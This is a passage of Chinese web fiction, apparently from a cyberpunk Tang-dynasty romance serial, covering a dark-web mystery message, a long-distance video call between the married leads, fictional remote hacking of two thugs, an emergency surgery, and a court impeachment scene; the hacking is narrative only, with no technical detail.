存了好一阵子的银子,怕自己手速太慢还特意请了代拍,好不容易买到的礼物,却失去了送出去的理由。
她好傻,以为偶尔的亲近就是钟情。
还想着用对方喜欢的玩偶来讨欢心。
她虽一生浮萍,却也想试着握一握真心。
在客栈无意间撞见第五阙房中暧昧的时候,就该知道她有了伴,还心存侥幸,以为只是一时贪欢。
没想到,竟是认识许久,一直在身边的上司。
原来人家早就心有所属。
没有公开,只是低调罢了。
所有的暗中欢愉和辗转反侧,不过是一个人的自作多情。
曾倾洛心头发着酸,河面上的灯光被泪意融得化成了大面积的色块。
所有的思绪都跟着玩偶沉入河底,别让任何人知晓这可笑的妄念。
吸了吸鼻子,抬手把玩偶抛向河中。
手臂挥出去了,却丢了一个空。
曾倾洛“咦”了一声,听身后有一道清甜的女声说:
“这么可爱的玩偶,还未拆封就丢,不可惜吗?”
曾倾洛立即回眸。当她看见身后女子时,一直紧皱的眉心因惊讶而舒展,挂在眼角的眼泪都凝滞了。
眼前的女子长得极美,像颗夜明珠破开浓郁的黑沉,玉肤红唇粉腮娇腻,犹如一朵忽然绽放在眼前的雍容牡丹,也似化作人形的千年妖物。不然,凡胎如何生得这般美?
曾倾洛瞧得出神,那披着厚厚狐裘的女子向她走来。
忽然回神,曾倾洛抽出枪指向陌生人。
“你是何人?”
黑魔方依旧肆虐,城中百姓无人敢在夜间单独出门,这羸弱的女子从何而来?
见多了黑魔方防不胜防的路数,且迭代出了智慧,曾倾洛自然严加提防。
那女子见她这么紧张,笑了起来。
一笑如桃花迎风微颤,温柔甜软,曼妙又天真。
曾倾洛仔细瞧她,举止神态都与正常人无异,浑身上下没有失控的可疑之处,的确没找到黑魔方入侵的痕迹。
“不用紧张,我只是见你受了重伤,想为你治疗。"
曾倾洛还在思考,那女子已经飘然来到她面前,手指轻抬她的下巴。
曾倾洛没想到对方会触碰自己,正要挣开,忽然眼前一阵晕眩,失去了反抗能力。
糟了!
多年刀头舐血的生活让她明白,失去对身体的控制意味着极端的危机。下一息就可能被人鱼肉。
心头已经被死亡的焦灼笼罩,谁知,当她恢复意识时,没有被杀。
那张漂亮洁净的面庞挨得自己这般近。
高出她一些的女子,正好吻上她的额头。
伤口赤裸地迎接对方的唇,微痛的麻痒感从痛楚上漫过,方才还在一跳一跳发痛的地方被覆盖般,竟然不疼了。
“你,怎么……”
女子笑起来一双眼睛弯弯的,娇波频频,宛若春水。
“我有一点点精神天赋,只有C级,别的做不了,但镇痛还是蛮有效的。”
“所以,刚才的晕眩感是……”
“你有晕眩感吗?抱歉,因为是C级嘛,所以启动精神天赋的时候很容易被人察觉。”
“原来如此。”
女子的手再贴至她的后背,后背有一道被刀砍出来的血口,肌肤被毫不容情地切开。
只是一碰,曾倾洛便痛得咬紧牙关,冷汗顺着鬓角滑落。
女子吃了一惊,“怎么伤得这般重?”
曾倾洛便将自己正在捕杀异兽的事情说了。
但留了一个心眼,并没有告知对方自己的名字和官署。
“原来是为了守卫京师,那么你便是京师的恩人。能让我帮你治疗吗?”
曾倾洛眨眨眼,没有拒绝。
她未曾被谁这般主动地照顾。
女子并不嫌弃她身上的血渍与污秽,双唇挨上她的伤口,有种温暖的感觉一丝丝往她的骨血中渗透。
“好了,应该不痛了。但我也只能起到一些麻醉的作用,你还是得尽快去找机械师修理。”
女子用手绢拭去唇上的血,发现曾倾洛一张小脸不知何时全红了。
“多谢女郎为我治伤,可否请女郎留下名字?他日我好登门谢恩。”
曾倾洛行了个手礼,言语恳切。
作为优秀的探子,她对突然出现在京城的神秘人物也有天然的探究欲。
女子淡笑,并没有留下名字。
“区区小事无足挂齿。”
她叠了一下,再用手绢把虫虫玩偶的包装擦干净。
“这么可爱的玩偶若是丢了太可惜。它若沉在这黑漆漆的河中,何等可怜。你不想要,可否赠与我?”
曾倾洛语塞一时。
“女郎若是喜欢便留着吧。它于我而言已经没有意义了。”
“多谢。”
裙摆轻荡,没再留下只言片语就离开了。
忽然出现又没有结尾地消失,像一场没头没尾的梦.
今日沈逆不在,边烬又恢复成独自用膳。
整个饭厅冷冷清清,倒是有些不习惯了。
饭厅之外,执锐护院正在换班。
沈逆在离开前征了一批护院,是在北境追随过她的老兵,各个忠诚机敏值得信任。
虽说这些护院加在一起都未必挡得住边烬一招,可一个人的精力有限,边烬不可能随时都绷紧神经。
沈逆不在时,有人护在侯府,护着边烬,她能安心点。
用完膳,打开电子表想查看今日京师新闻。
眼眸忽地凝滞。
页面不知何时打开,更让她惊讶的是,居然停留在暗网上。
这几日她完全没有登陆过暗网。
页面中暗网账号还未登出,有个陌生人给她发了一封传书。
传书加密了。
暗网规矩,重大交易时多数人会采用密码对接。
边烬有三组固定的交易密码,都是十三位的。
先输入最常用的,系统提示密码错误。
剩下的两组接连输入,依旧不对。
她并不记得最近与谁约定了重大交易,难道是回长安前约定的?
但密码为何不对?
有一种可能。
不是眼下的自己设置的密码,而是失去意识时的“那个她”设置的。
那为什么会直接停留在暗网页面?
是来不及退出,意识就更换了主导者?
还是根本无需退出,不惧被边烬发现?
边烬将这封传书转飞给了沈逆的暗网账号。
就是上次和秦无商互怼的那个号。
说明原委。
转飞后,边烬又觉得不太对劲。
对方不可能傲慢到认为顶级黑客沈逆会解不开这种级别的密码。
那么就只有一种可能。
这是对方明目张胆留给边烬的“提示”。
沈逆忙至中午才申请与她视频通话。
视频里的沈逆挂着一脸的无语。
“师姐,这种重要的事能不能别只在暗网悄没声息转给我?起码飞一鸽提醒我去暗网看看啊。要不是我需采买些建筑材料登录了暗网,何时能发现。”
边烬默不作声。
边烬当然是不想打扰沈逆,而沈逆说完才意识到,自己好大的胆,开始教训师姐了。
沈逆:“我已经破解了,是一份资料,一个人的详细资料。”
这倒是有些出乎边烬的意料,“谁?”
“咱们熟悉。李司。”
“李司?”
这更让人惊讶。
“为什么你身体里另一个意识要在暗网买她的资料?她很重要吗?”
边烬:“我不知晓。”
沈逆收回莫名的醋意,怎么连师姐另一个意识干的事儿都计较上了。
把李司的资料传给边烬,边烬迅速看完。
李司出生洛阳郡王府,母亲是续弦,上面有六个哥哥两个姐姐,自小不算受宠,觉醒了平平无奇的C级机械天赋后,为郡王府养马一直养到及笄之年。大概是不甘心一辈子就这样望到头,李司没跟家里说一声自行跑到西北征战,征战中又觉醒了第二个天赋,B级战斗天赋。砍了屡次犯境的岳国国君首级后,被李渃元看中,调入金吾卫,从此开启了她在京师跋扈的人生。
边烬:“听上去像个励志故事。”
沈逆:“像她这种经历军伍中一抓一大把。有何特别?”
边烬双臂抱在胸前,沉思时她会轻绞住下唇内侧的唇肉。
“资料出现的时间点特别。”
沈逆指骨敲了敲自己的唇,琢磨边烬的话。
“时间点,便是她让周氏来寻你麻烦,借机试探你之后。你先前也有过意识断离,可没找过谁的资料。显然另一个意识也不想和我打交道,不然用我就行,何须去暗网上买。”
边烬目光被沈逆的指骨和唇吸引了片刻,很快闪开视线。
“莫非熟悉她的资料,是为了能够更轻易扫清李司这个障碍?”
沈逆摇头,“要扫清她,何须看她的资料。”
边烬:“也对。”
要杀一个金吾将军是有点麻烦,不过那是小麻烦。
都不用她俩一起出马,单独就能成事。
沈逆:“感觉……另一位像是对她特别感兴趣。特意留着暗网的页面,就是想让你也对她感兴趣。”
“那为何不直接打开档案?还要设置密码?”
“那就是想让我也对她感兴趣了。”
想起李司那厮,沈逆嫌弃地“嘶”了一下。
沈逆的话切中了边烬心中某个隐约的想法。
为什么自己坚持要去兰台?
为什么觉得自己某日一定会离开长安?
这是暗示?
是某个精神天赋者给她催眠吗?
以S级精神天赋者贺兰濯的能力推测,若要做到切断边烬的意识又控制身体,必须是双S级的天赋者才能做到,而且要在神不知鬼不觉的情况下,多次催眠。
且不说整个帝国根本没有双S级的天赋者,即便有,不可能她和沈逆两人都没察觉。
手上突然出现的伤,鞋上的泥,档案馆,还有李司的资料……
另一个意识的确存在,而且有意在引导着边烬,一步步将她推向未知的目的地。
边烬正想跟沈逆说自己的分析,沈逆那头传来唤她的声音。
沈逆回头应了一声,“我还有事,先挂了。”
边烬欲言又止,只能“嗯”一声。
沈逆很快切断了视频。
眼前的投影屏幕漆黑一片,只有边烬自己的倒影。
总是主动亲近她的沈逆,很少率先离开.
洛阳的城防地基已经选定,沈逆去现场勘察,指正了几处疏漏。
午后又是一场漫长的会议。洛阳的最高长官东都留守也出席了会议,专门探讨黑魔方的防御计划。
沈逆主持的部分进度很快,满满的信息量。
东都对年少有为功高盖世的沈逆也非常熟悉,都听过她的故事,有羡慕仰慕的,自然也有嫉妒的。
可当她开口,年轻却练达的言语,冷静又缜密的条理很快收服了洛阳的高官。
靖安侯看上去寡言少语似乎很不好亲近,没想到矫矫不群,极富魅力。
沈逆之外的其他高官主持的时候难免打官腔,弯弯绕绕说些无关紧要的场面话。
歌功颂德惹人犯困,沈逆在桌下给边烬飞鸽传信。
边烬正在兰台档案馆的货架前,记录武德十一年的档案。
将武德十一年货架上所有归档的义体都看了一遍,几番分析,始终找不到可疑的切入点。
在她身体里输入指令的是谁,要利用她的身体寻找什么?
为什么选择了她,和弦昼国那个疯子有关吗?
宛若面对一个巨大的毛线团,她知道毛线团里有想要的真相,却找不到能解开毛线团的那根线头。
暂且将这货架所有档案写入记忆模块,随时能调取分析,也能防止有人改动。
记录完成时,收到沈逆的传信。
其实从午间起,边烬就时不时看一眼手表。
知道沈逆在忙公事,可当手表中没有任何传信时,依旧会陷入奇怪的失落中。
此刻沈逆突然来信,边烬点开传信时,发现琉璃面倒映出来的自己正在笑。
沉下目光,看沈逆的传信……:【师姐在做什么?】
边烬:【在档案馆查看武德十一年的档案。】
回复后,直到边烬走出档案馆,沈逆都没再回她。
边烬有些出神地想,应该又去忙了。
晚上东都留守宴请李煽和沈逆。
沈逆不喜官场那套,借口眼睛不适,溜回客栈。
回到客栈要与边烬视频通话,那头迟迟没接。
做什么去了呢……
沈逆等了一会儿,边烬那头没动静,便先去沐浴了。
在浴房内听到手表的响动。
皂角泡沫都没冲干净,沈逆裹着松松散散的浴袍直接杀出来。
第50章
果然是边烬。
视频中的边烬也刚洗完澡,头发湿漉漉的,寝衣之外还套了件素色的披肩。
即便在自己寝屋也穿得规规整整,连脖子都被散下来的长发遮去一半。
沈逆那头视频晃动着,只有她大半张脸。
边烬:“刚才在热池,没听见。头发洗了未干,别介意我没有绾发,凌乱无章。”
沈逆是一个健步夺了放在床榻上手表的,整个趴上去,没控制好力道,脸贴屏幕。
“没事儿,我方才也在洗濯,都没来得及穿。”
边烬:“来不及穿?”
沈逆调整了一下视频的距离,拉远了些,欲坐起身来。
未承想只是一动,本就勉强围在身上的浴袍立即垮了。
一对雪白忽地晃至眼前。
边烬微怔后立即转开视线。
“沈逆。”
沈逆迅速把浴袍围回来,“失误。”
真是失误,她可没那么放荡。
边烬索性闭上眼睛,“穿好再说。”
沈逆系腰带,心道,我都没不好意思,你脸红成这样。
可说脸红就脸红,好可爱。
“好了吗?”边烬还看着镜头外。
“嗯……快了吧。”
“这么慢么?”
“是啊,腰带一圈又一圈环过腰,想要系紧,自然得耗费点时间。”
沈逆这话故意说得慢悠悠,又详细,边烬脑中自然生成她所描述的画面。
一双漂亮的女人手握住腰带,环绕于腰。
而那女人的腰肢,她也是握过的……
边烬闭眼。
在想什么,都是这倒霉的连理模块害的。
不太对劲,这么久了怎么可能没系好腰带。
用余光打量,沈逆根本没在穿衣,已经将手表稳定放置,双手托着下巴正含笑欣赏边烬的窘态。
边烬:……
边烬:“与我视频,是专门来戏弄我吗?”
“当然不是。刚才确实是意外。”
“那现在?”
“现在,是在提升亲密度。”
倒是没法反驳,边烬不善此道,而沈逆好像专门精通此事,她说这样能提升,边烬还能反驳不成?
两人斗了几句嘴后,又陷入短暂的沉默。
“师姐就没什么想跟我聊的吗?”
沈逆还是撑着脑袋,一副认真端详边烬的姿态。
边烬长得太清正,是张白纸。
越是纯净的白纸,就越让人想要肆意涂抹,留下自己的痕迹。
“嗯,聊。”
为了亲密度,边烬将自己今天做的事一五一十地说给沈逆听。
关于自己在兰台的探索和猜测,还有朝食、午膳全都说了。
说到晚上喝了些清粥时,边烬意识到沈逆没有回半个字。
也是,怎么尽说些无聊的琐事,这些零碎恐怕无法增进感情,反而会让人昏昏欲睡吧?
“为何停了?”
没想到沈逆不仅不觉得乏味,还在追问。
“因为太无聊了。”
“不无聊啊。师姐的点滴小事,我都想知道。”
这一整日下来没能见到边烬,沈逆想得很,一些平日里不会说出口的话突然自己往外蹦。
边烬:……
没回应,但耳朵擅自变红了。
原来师姐喜欢听情话。
沈逆道:“师姐除了正经话,还有没有其他话要说?”
边烬:“我不会说不正经的。”
沈逆:?
边烬:“原来你喜欢不正经的。”
沈逆:……
我是这个意思吗?
两人的眼前忽然跳出一排数字。
亲密度又加了一,重回三十。
沈逆:……
好吧,我可以是这个意思。
“亲密度提升了,师姐想听点不正经的吗?”
边烬:“不。”
拒绝得干干脆脆,连挣扎的余地都省略了。
沈逆:“好吧,让你看看我住的客房。洛阳客栈的空间可比京师的要奢侈得多。”
沈逆拍了一整圈客房,犄角旮旯都照了个仔细。
边烬暗暗在观察,没有另一个人的痕迹,沈逆独住。
沈逆这么做当然是为了边烬安心,她可是正经出差,没人进她的房间。
边烬眼角有些隐隐绰绰的笑意。
“今天很累吧,早些休息。”
沈逆躺回床上,镜头对着自己的脸。
“师姐陪我睡。”
发丝落了些在脸庞和床面上,粉唇乌丝,眼眸里点点娇态,连声音的尾调都是软软的。
边烬无意间就被她的话带着走。
“怎么陪呢?”
“你也躺下,看着我,就像我们还睡在一起。”
边烬躺下,侧卧的姿势看着视频里沈逆的脸,真的有种跨越了时空还睡在一块儿的亲密。
沈逆眼眸里清晰地倒映着边烬的轮廓,明亮似水波,多情迷人。
素颈如玉,琼钩浅曲,连着一小截因为侧躺的姿态延伸出来的颈弯。
“好想师姐抱着我。”
好直白的撒娇。
沈逆小时候也这么说过,可现在再说,感觉已经全然不同。
边烬心尖被她撒娇的话催动,酸酸软软,并不难熬,多了种迫不及待的麻痒。
“等回来再……说吧。”
短短的一句话,中间卡顿。
沈逆没再去闹边烬,她的确倦了,有边烬陪伴,她很快沉沉入睡。
这是她们成婚后,第一次相隔这么远。
之前忙碌的时候沈逆也睡过工程司和工作室,但不一样的。
无论沈逆怎么忙,她还在边烬周围,还在相同的空间里。
她随时会出现,若是要见她也能寻到她。
但身处另一座城池,相隔崇山峻岭人潮人海,她在做什么,身边又有谁,无从得知。
走出了日常,便成了远在山海之外的传说。
沈逆不在府中这几日,边烬独自用膳,再独自入睡。
没有沈逆的气息,侯府如同被抽去了热度。
有时候会莫名醒来,枕边空空荡荡,只她一人浸在冷夜之中。
几番辗转,终于入睡,那只侵害她梦境的手从意识深处游荡着,又来扼她的喉咙。
猛然醒转,呼吸困难,浑身发烫。
这次她自己醒来了,没有被困在噩梦里。
擅自想起了某夜的怀抱,充满安全感的紧拥从脑中闪过,寝屋的清冷愈发难熬。
转目漆黑,伸手无人,连鼻息都只有她一个人的。
在北境深山里独自守夜的那一个月,都没有此时对“孤独”这二字的滋味体悟真切。
吃过了蜜,苦便更苦。
打开电子表,找到沈逆。
想她的气息,哪怕只字片语也好。
指尖刚刚移到沈逆的对话框中,便停滞了。
沈逆有自己的事要做,洛阳城防关系到千万百姓的安危,不能分她的心。
别让她担心。
睡不着索性起来练练身子。
沈逆帮她做了一个练鞭的装置,启动后会高速弹射球体,供她训练准头,有几个档位可调。
一口气抽碎了一千个飞球,心里的烦躁稍微压制了些。
沐浴后,东方已晓,朝阳驱散了边烬心中的孤冷。
刚到饭厅准备用膳,万姑姑急急而来。
“夫人,外面有两个怪人说要见您。”
“怪人?”边烬擦着鞭子问。
“就是,一把鼻涕一把泪的,还在载歌载舞,说非见您不可。”
边烬以为自己听错了。
“载歌载舞?”
万姑姑自个儿说出来也觉得荒谬。
“对,载歌,载舞。”
边烬将鞭子收入腿侧,还没到侯府门前就听见两个破锣嗓子在嘶吼,歌不成歌调不成调。
门前两位的确一边哭一边又唱又跳,还是老熟人。
被她五十军棍打废,后来找她麻烦弄坏了水晶球,被一腿扫飞的那二位。
那二位不知道中了什么邪,在门口激情舞动,大声嘶吼,舞得身上掉零件闪火花,依旧停不下来。
边烬见到此情此景,不能理解。
他们已经累到双眼翻白,却无法昏迷,跳到边烬面前,边唱边向边烬哭诉。
连猜带蒙,边烬大概搞懂了发生何事。
自从上次他们俩被边烬一脚踢得半残后,好不容易把自己修得七七八八。
也不知道怎么回事,前几日大半夜的忽然身体不受控制,爬上屋顶打鸣,一群邻里街坊冲出来骂他们,他们不仅没法停,还开始跳舞。之后把金吾卫招来了,只能逃走。
这么多天了,居然停不下来。
没办法吃饭也睡不着,就搁那唱搁那跳。
肯定是被哪个黑客黑进模块,给他们下了病毒。
寻遍了京城中的机械师,没人能解。
再这样下去,他们得过载而死。
实在是受不了了,跑到侯府来求边烬网开一面,放他们一条生路,他们会立刻滚出京师,再也不出现在边烬面前。
边烬:“你们中毒与我何干?”
高个边唱边哭边求饶,“总都督,边奶奶,祖宗……这事儿除了你们家侯君,还有谁能办到吗?”
上次沈逆在兰台门口,当着那么多人的面黑了周氏,这等高调的行事作风肯定早就传遍了京师。
而且,那高个还有句话没直说。
能黑了他们,不干别的尽让他们到处丢脸,除了沈逆恐怕还真没别人。
边烬又好气又好笑。
沈逆居然背着她做这样的事。
的确很像沈逆的手笔,凌厉间带着幼稚。
最重要的是,如今谁又会事事维护她,不愿她受一点委屈呢?
走过路过的坊内邻居听到奇怪的动静,忍不住往这儿看。
靖安侯府怎么天天都有热闹瞧?
边烬:“你们先离开此处,我会去问问。”
收到边烬的传信,沈逆远程为他们清除病毒,监视着这二人连滚带爬滚出了长安城。
“本来想让他们直接累报废的,既然你开口了,那就不造杀业了。”
“这便好。”
沈逆今日穿戴齐整,幞头官袍一派禁欲冷冽,正要去洛阳最大的学院授课。
察觉到边烬声音中有些无奈,沈逆问她:
“觉得我幼稚吗?”
这几日相处下来,沈逆不苟言笑不说废话,冷若冰霜的模样让洛阳高官都不敢随意跟她搭话。
谁能想到,清冷侯君私下正对妻子撒娇。
幼稚吗?当然。
但边烬并不反感,反而这幼稚最似她疼爱的小师妹。
边烬没回答她的问题,只道:“他们以后应该不敢回来了。”
“那最好。”
“你是为我出气么?”
“找你麻烦的杂碎当然要全部扫除。”
“找我麻烦的人估计会络绎不绝。”
边烬有自知之明。
她以前治军严苛,眼里容不得沙子,得罪了不少人。
旧敌环伺之下,失去记忆的那三年又经历了什么未可知,前程亦不明。
要是有人愿意当她的同伴,恐怕会很伤脑筋。
李煽走在最前方,身侧全是洛阳高官。
余光里找不到沈逆,停下脚步向后望。
昭晖硬生生从厚厚的乌云中挤出来,不偏不倚,就落在沈逆身上。
一层金光两点笑意,美得让李煽恍惚。
就在此间,她的心被沈逆柔和的美紧紧攥住的刹那,并不知道沈逆在说什么。
沈逆红唇微张,对山海那头的心上人说:
“络绎不绝么,倒也简单。我替你全杀了便是。”
50-60
第51章
今日沈逆就要回来了。
边烬没去兰台,将院中的盆玩修剪一遍,又去庖厨,嘱咐新来的主厨做几道菜。
她没说,但万姑姑看得出来,每道都是沈逆喜欢吃的。
万姑姑笑眯眯地说:“侯君要回府,夫人最开心。”
边烬:“我只是恰好沐休。”
万姑姑嘴里说着“好好好”,也不拆穿,上下打点着,府中热闹的氛围堪比过节。
到了时辰,沈逆人没回府,传信给边烬。
【临时朝会,点名要我去,可能要晚些回府了。】
边烬已经为她准备好了寝衣和沐浴用物,想说她回来肯定要先洗去一身风尘仆仆,舒舒服服用膳。
没想到先被天子给截了。
边烬:【知道了。】
这三个字看着还是冷冰冰的。
边烬没少思索怎么让不带语气的文字看上去有些情感——虽然她带了语气也未必有。
万维网上那些乌烟瘴气的聒噪只让人羞耻,恐怕她是学不会的。
沈逆没回。
过了一个时辰都没回。
边烬去庖厨说晚些备菜,再去看飞鸽传信,沈逆依旧没动静。
边烬望着大明宫的方向。
算算时间,应该刚从驿站出来,还没到大明宫才是。
应该不会误会对她的行踪无动于衷……吧。
想了想,她对万姑姑道:“备马。”
沈逆是遇到了突发事件。
今天起了个大早,回程一路心情灿烂。
没想到人才到长安,刚出列车,就见站台上站着四名丽景门女官。
丽景门女官一身挺括官服,手持兵刃,无论身处何处都是煞气逼人。
其中两位是沈逆的老熟人。
窦璇玑和房判。
沈逆不禁猜测,丽景门内部是不是也分组?窦璇玑和房判就分在“沈逆问题专项治理小组”里。
窦璇玑和房判之外,另两位更是阴沉狠戾,模样可怖。
一人双唇上凌乱地打着铁钉,有些是从上唇穿下,有些是从下唇穿上,像粗糙的缝合,将她的唇牢牢缝住。
另一位左脸和脖子上均有三、四颗弹孔,眼球外突,那是颅压长期过高所致。
看着都是狠人……
和她们比起来,窦璇玑和房判都显得正常许多。
窦璇玑:“靖安侯,今日朝会不可缺席,圣上和百官都在殿上等着您,请吧。”
说话间丽景门四人已经将沈逆围住。
“诸位省省力气,累,不逃。”
沈逆向同行的同僚告辞,便同她们走了。
乘坐云梯下行,前往一层大厅。
沈逆的目光不时飘向身侧的窦璇玑。
窦璇玑手里持械,目视前方,惯常的冷言冷语。
“侯君在看什么?”
沈逆问:“好奇你们丽景门待遇怎么样?”
“哪方面?”
“比如,会为你们选好墓地吗?”
此话一出,不止是窦璇玑,其他三人也警惕地望向沈逆。
房判握弓之手攥得更紧。
窦璇玑杀气森森,“靖安侯这话是何意?”
沈逆推了一下鼻梁上的墨镜。
“别误会,我说了,累,肯定不逃,更不想动手。只是好奇,再过几息窦女郎就死了,你们韩门主为你准备好墓地没有。”
“你……”
窦璇玑刚提气说了一个字,脸色骤然发白。
房判:“璇玑?”
窦璇玑一口血毫无预兆喷了沈逆一身。
为了见边烬,今早换了在洛阳买的新衣衫的沈逆:……
窦璇玑身子发软就要跌下云梯,站在后方的房判喊了一声来不及去接她。
沈逆眼疾手快一把将她抱住,没让她摔下去。
下了云梯,抱到路旁。
变故来得太快,窦璇玑已经陷入深度昏迷。
沈逆掌心贴在她脖颈处,“不行了。”
房判拽着沈逆,电子音里带着颤意。
“侯君,请你救救她!只要你能救她,我,我这条命任侯君所用!”
沈逆:“她是怎么回事?”
房判来不及多说,三言两语将她在东市受伤的事情告知沈逆。
沈逆让房判来撕开她的衣襟,迅速从手臂内拿出一管针剂,问道:
“之后没治疗?”
“有!门主有为她注入营养剂!”
沈逆快速用掌心扫描一边,皱眉。
“伤成这样只注入营养剂?难怪活不成。诸位,我要在此动手术,麻烦你们帮我围个空间。”
房判立即脱下官袍围挡,另外两名女官把驿站边上装饰用的屏风拖过来。
沈逆干脆利落地将针头刺进窦璇玑胸口,直刺玉璧。
已然停止运作的玉璧在强刺激下骤然复苏,沈逆把随身的行李箱打开。
“窦女郎可真幸运,幸好我这次出远门,带工程箱以备不时之需。不然你真没命活了。”
沈逆在边烬离开双极楼那年活得格外没章法,日子过得枯燥无聊,便去考了医师资格证。反正闲着也是闲着,从普通医师一路考到了顶级医师。
在北境她杀了多少人,就救了多少人。
窦璇玑方才的状态她再熟悉不过。
熟练消毒和一系列准备后,立即开始手术。
房判见她动作熟稔,可又看她太过年轻的脸,心里一口气不知该不该松。
沈逆一边手术一边问房判:“她这几天都没治疗?”
房判单膝点地,迅速回答:“这几日巡查工作太繁重,没有时间治疗。只有李司过来看了她。”
“李司?”
最近这厮的名字是不是出现得太频繁了?
“是,李司说自己是机械师,也是医师。想来为璇玑治疗,被璇玑拒绝了。我也劝过她,她根本不听我的。”
沈逆分过来一眼,“你这搭档说话没分量啊。”
房判:“……侯君见笑了。”
沈逆做手术非常利落,只是眼睛干涩难忍。
这几日在洛阳开会,每天都对着显示屏,还一有空就“骚扰”边烬,眼睛都没闲着。
一个时辰的手术,条件有限,不容她怠慢,稍微松懈窦璇玑命可能就没了。
待手术完毕,窦璇玑捡回一条命时,沈逆双眼红得似乎能滴血。
房判:“侯君,你的眼睛……”
沈逆用力眨了眨眼,的确很不舒服。
除了边烬,她没有对其他人撒娇的爱好,只道:“没什么,老毛病。你们找个人带她回去休息,麻醉过后应该就醒了。玉璧已经修复,不过报废度已经超过80%,不想突然暴毙就去换个新的吧。这几日多喝点营养液,一周不可下地一个月不能做体力活。”
房判:“好,记下了。我送她回去。多谢侯君。”
沈逆没再多说,和其他两位女官和沈逆一同前往大明宫.
到了含华殿前,沈逆正要进去,丽景门女官之一,那位脸上满是弹孔的女官挨过来,微垂着头低声道:
“言官要参侯君入侵百姓模块一事。对方有备而来,侯君小心为妙。”
沈逆没想到她会提醒自己。
“多谢了。”
两位女官没再多言,行了手礼离开。
沈逆也回了礼。
丽景门虽是天子一把赃刀,但这些无根孤女扶持着长大,互为搭档生死相依,感情深厚。
沈逆方才救了窦璇玑,丽景门同僚对她肃然起敬,不愿她被人算计,出言提醒。
其实沈逆大致也想到李渃元为何召见。
魏王已废,安王入京,各方势力再次割据。
她呢,就是被围在这些势力中的异类。
有人想拉拢,有人想摈斥。
她本人对朝堂权谋之事兴致缺缺,丝毫提不起劲。
此刻想师姐想得紧。
三日不见宛若三年,勉强保持着三十的亲密度,正是迫不及待要回家见夫人的时候,偏偏这时候参她。
沈逆进含华殿的速度都快了几分。
要参快参,参完下班。
沈逆一进大殿,百官望向她,表情各异,一阵低低议论声在殿中蔓延。
连坐在龙椅上的李渃元看沈逆的眼神都带着讶异。
“爱卿你怎么了,怎么浑身是血?”
沈逆“哦”了一声,将沾着窦璇玑血的外衣脱去。
“路上顺手救了一个人,忘记换衣服了。殿前失仪,还请陛下恕罪。”
她这么说,李渃元哪可能怪她。
“爱卿扶危救困这是好事。”
沈逆随意回了句,借机偷瞧李渃元。
李渃元今日气色不算好,小小的圆脸苍白,双唇灰暗,说话的声音都弱弱的。
果然和丽景门女官提醒的一样,一众言官正是为了她当众黑入周氏模块之事弹劾,参她贵为高官显爵,怎么能枉顾律法。
那言官义正严词道:“若人人效仿,岂不是要乱套?”
沈逆双手交握在身前,仰着头瞧大殿横梁,不疾不徐道:
“这可乱套不了,有难度。”
言官:“有难度?”
“听说您也是机械师,不如您现场效仿一个?”
言官:“这……我……”
这言官的确是一位出色的机械师,A级顶格的天赋。
但让他无准备黑进谁的系统模块,不可能。
沈逆转向站在一旁的礼部尚书曹肃,“那曹尚书来试试?”
这些言官都是曹肃党羽,他一贯如此,让别人冲锋陷阵自己潜形匿影。
沈逆被迫加班,眼睛又痛,脾气不太好,直接把他点了出来。
曹肃尴尬地笑了笑,正要说话,沈逆帮他说:
“对了,忘了曹尚书是A级的机械天赋,应该做不到,可惜了。”
曹肃:……
沈逆面向李渃元道:“微臣倒是希望人人都可以效仿。如果人人都是双S级的天赋,那铲除黑魔方不过信手拈来。”
言官:“不必强词夺理,你涉嫌违法,若不严惩……”
沈逆不管他,继续对李渃元道:“微臣已经被金吾将军李司惩罚过了,听说过数罪并罚,没听说过数罚一罪。此事详情,陛下让李司将军前来一问便知。”
李渃元当真传李司觐见。
一刻钟后,李司顶着一脸的莫名其妙出现在含华殿。
这还是她第一次进入恢弘的含华殿。
李司向李渃元行礼时,余光瞟向沈逆。
沈逆双手交握,正闭眼养神。
李渃元问道:“金吾将军,听说靖安侯无视法度入侵平民记忆模块一事,是你查办的。可有此事?”
李司:……
一时无语,不可思议地看向沈逆。
言官参你,你拿我当垫背是吧?
无论李司心里怎么咒骂,沈逆抓着她贿赂周氏的把柄,李司只能承认:“是,此案是微臣查办。”
言官追问:“靖安侯受了什么罚?”
李司:“自然是按律法严惩。”
言官:“那岂不是最长三天拘役,罚款百两?”
李司:“怎么,这位御史是嫌不够?”
言官:“这点小惩罚对靖安侯而言,恐怕不疼不痒吧。”
李司冷笑:“您这是觉得大唐律法不严,要当着圣上的面修改律法不成?”
突然被扣了好大一顶帽子的言官一时哑然。
沈逆依旧闭着眼。
虽然还不知道这厮到底为什么被边烬的另一个意识关注。
但拿她当打手用,还挺顺手。
曹肃这时候晃了出来,对李渃元道:“陛下,据微臣所知,靖安侯只罚了银两,还未拘役。靖安侯举世瞩目,一举一动影响深远,若她不束身自爱,只怕效仿者会越来越多。微臣恳请陛下下旨严惩。以儆效尤。”
李渃元:“那依你所见,朕该怎么罚她?”
李渃元话里的不耐让曹肃顿了顿,没立即接话,更不敢指点天子怎么办事。
天子虽没如往常般向着沈逆说话,可对这些僭越的言官也没什么好脸。
曹肃正在权衡利弊,一直沉默的沈逆终于开口:
“其实此事另有隐情,容下官详细道来……”
李司立即打断:“微臣已经下了逮捕令,不过念在洛阳城防一众隐患亟待解决,靖安侯奉命前往洛阳公干,防御黑魔方刻不容缓,微臣特许靖安侯回来后再补上这三日拘役。人非草木,当会变通。想必曹尚书应该也懂孰轻孰重吧?”
曹肃察觉到李司处处维护沈逆,谨慎地没再开口。
言官将话题绕了回来,继续来来回回咄咄逼人。
“靖安侯仗着自己的天赋,私自读取平民记忆模块,此乃知法犯法,恳请陛下重罚!”
李司:“双S级机械天赋者本就少之又少,乃是我朝希贵重臣,还有城防要务在身,若真的重罚罚坏了,工事谁能顶上?你么?”
那言官一口气提起,就要喷李司。
李司语速极快,抢在他前面继续道:“你们口口声声说生怕效仿者众,请问靖安侯这样的能力有谁能效仿得了?我倒是好奇,为什么你这么惧怕记忆模块被读取?莫非是心有所愧,怕人查?”
言官对李司敞怀,“我有何惧?!”
李司:“那你急什么?”
言官:“我身为言官自然要督促百官,监督……”
李司:“人心隔肚皮,凭一张嘴就能定忠奸?我还说你家里穷奢极侈,妻妾成群呢。”
言官气得胡子往上翘,指着李司:“胡说八道!我为官二十年水火无交,家无余财,从不贪墨一文钱!此事满城皆知!老夫一生清誉岂容你诋毁?!”
一直闭着眼的沈逆,终于将红肿的眼睛睁开了。
“说得太好了。”沈逆说,“李司将军空口无凭,盛气凌人,实在欠妥。”
李司:?
